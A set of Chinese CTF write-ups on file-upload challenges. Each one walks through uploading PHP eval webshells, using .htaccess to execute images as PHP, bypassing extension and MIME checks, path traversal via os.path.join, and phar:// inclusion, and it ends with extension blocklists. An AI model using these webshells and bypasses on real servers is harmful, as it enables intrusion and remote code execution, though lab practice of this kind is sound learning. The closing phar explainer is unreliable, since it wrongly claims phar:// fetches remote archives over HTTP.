1.[SWPUCTF 2021 新生赛]easyupload2.0
打开是一个文件上传题,上传一个php文件,但它说php不可以,抓包修改。
把php改成phtml,上传一句话木马<?php @eval($_POST['pengpeng']); ?>,重发,上传成功。
用蚁剑连接得到flag
2.[SWPUCTF 2021 新生赛]easyupload1.0
先上传一个php文件,上传失败,抓包把application/octet-stream改成image/jpeg就可以上传成功,然后连接蚁剑得到flag,但这个flag是假的,需要再查找。
我上传的一句话木马是<?php @eval($_POST['hack']); ?>,可以改成<?php @eval(phpinfo()); ?>,上传成功后浏览路径显示的就是phpinfo页面。在页面用CTRL+F键就可以查找flag。
3.[SWPUCTF 2021 新生赛]easyupload3.0
文件上传,看到页面头写着:试试和某些文件配合呢?猜测可能是先上传.htaccess文件,然后再上传含有一句话木马的其它文件就可以做出来。
先上传.htaccess文件,文件内容:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
它会让后面传入的jpg文件中的php语句都可以执行,接着就可以上传1.jpg文件。
文件内容:
GIF89a
<?php @eval($_POST['hack']); ?>
GIF89a是文件头,方便判断是否上传成功。
看见上传成功后就可以用蚁剑连接得到flag。路径是你上传的那个含有一句话木马的文件。
4.[GXYCTF 2019]BabyUpload
先上传一个php文件,判读是白名单还是黑名单。
后缀名不能有ph,是黑名单过滤,改为上传含有一句话木马的jpg文件。
上传成功,且一句话木马是:
GIF89a
<script language='php'>eval($_POST['hack']);</script>
因为当你上传的一句话木马有<?这两个字符它会判断你为php
上传含有一句话木马的jpg文件成功后,上传.htaccess文件来解读jpg文件,让一句话木马能够执行。
上传类型太漏骨了,把文件类型修改成image/jpeg。就可以上传成功。
访问上传的jpg文件地址看一下是否回显文件头GIF89a,有的话就可以连接蚁剑,得到flag。
5. [LitCTF 2023]作业管理系统
打开页面是一个登录界面,查看源代码发现用户是admin,猜测是弱口令,密码也是admin。登录成功后来到主页面,可以找到上传文件的点,先上传一个php文件,直接上传成功了,在php文件里写入一句话木马再次上传,连接蚁剑就可以得到flag。
连接地址是:http://node4.anna.nssctf.cn:28715/1.php
6.[NISACTF 2022]babyupload
上传一个php文件,上传失败,上传图片还是.htaccess或其它都失败。查看源代码。
发现source文件,浏览后是一个压缩包,下载,解压后里面是源代码。
源代码如下:
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
看了一下比较重要的是这串代码:
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
在你的请求里如果有"."就会输出错误,也就是把.过滤了,上传的文件不能够有后缀名。
还有这个:
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
os.path.join()函数用于将多个文件路径连接成一个组合的路径。它的漏洞是当你传入2.txt,/123.txt时,它会把/前面的2.txt舍去,只会读取后面的/123.txt。
所有当我们把传入的文件改为/flag就可以输出。
可以看到改为/flag后给了一串链接,浏览后得到flag.
7.[NISACTF 2022]bingdundun~
打开后是这个界面
点击upload?会有一个上传界面,它说只给上传压缩包和图片,查看页面源代码,flag就在这个目录下,
构建:?bingdundun=index,得到好多的index.php,文件包含漏洞,它会在我们传入的index后面自动加入.php,再联想只能上传压缩包,想到phar伪协议。上传含有一句话木马的压缩包
用phar伪协议查看,构建?bingdundun=phar://044537ef71e3f61d83fdd33b80e7cbc5.zip/hack
因为我上传的是hack.zip,只用写hack就会给你自动再后面加上.php。hack.zip是hack.php的压缩包,phar伪协议会把它读出来,回显我的文件头GIF89a表示上传成功,连接蚁剑就可以得到flag。
做题小结:
phar 伪协议
phar 伪协议是一种用于访问 PHP 存档 (phar) 文件的特殊 URL 方案。它允许将 phar 文件作为远程资源进行访问,就像它们是标准 HTTP 资源一样。
格式
phar 伪协议的格式如下:
Copy
phar://<path_to_phar_file>[#<entry_file>[?<query_string>]]
其中:
<path_to_phar_file>
是 phar 文件的路径。<entry_file>
是 phar 文件中要访问的特定条目。<query_string>
是可选的查询字符串,用于传递参数。
用法
phar 伪协议可用于以下目的:
- **加载远程 phar 文件:**可以使用 phar 伪协议从远程服务器加载 phar 文件。例如:
$phar = new Phar('phar://example.com/path/to/phar.phar');
- **访问 phar 文件中的条目:**可以使用 phar 伪协议访问 phar 文件中的特定条目。例如:
$file = file_get_contents('phar://example.com/path/to/phar.phar#entry.php');
- **传递参数:**可以使用查询字符串传递参数给 phar 伪协议。例如:
$data = file_get_contents('phar://example.com/path/to/phar.phar#entry.php?param=value');
优点
使用 phar 伪协议有以下优点:
1简化远程资源访问:phar 伪协议使访问远程 phar 文件变得更加容易,就像它们是标准 HTTP 资源一样。
2.提高安全性:phar 文件是经过数字签名的,这有助于确保它们的完整性和真实性。
3.增强灵活性:phar 伪协议允许在 phar 文件中包含多种类型的文件,包括 PHP 脚本、类和数据。
支持
phar 伪协议在 PHP 5.3 及更高版本中受支持。
在该题中就是用phar访问压缩包下面的php文件。
文件上传黑名单
文件上传黑名单是一种安全措施,用于阻止用户上传具有特定文件扩展名或 MIME 类型的文件。黑名单包含已知危险或不受信任的文件类型,例如可执行文件、脚本和恶意软件。
工作原理
当用户尝试上传文件时,服务器会检查文件的扩展名或 MIME 类型。如果文件与黑名单中的任何条目匹配,则上传将被阻止。
1.php后缀名大小写
2.php别名:php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名)
3.配合.htaccess或.user.ini
4.双写后缀array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。
文件上传白名单
文件上传白名单是一种安全措施,用于仅允许用户上传具有特定文件扩展名或 MIME 类型的文件。白名单包含受信任的文件类型,例如文档、图像和视频。
工作原理
当用户尝试上传文件时,服务器会检查文件的扩展名或 MIME 类型。如果文件与白名单中的任何条目匹配,则允许上传。否则,上传将被阻止。
常见的MME类型,例如:
超文本标记语言文本 .html,html text/htm
普通文本 .txt text/plain
RTF文本. rtf application/rtf
GIF图形 .gif image/gif
JPEG图形 . jpg image/jpeg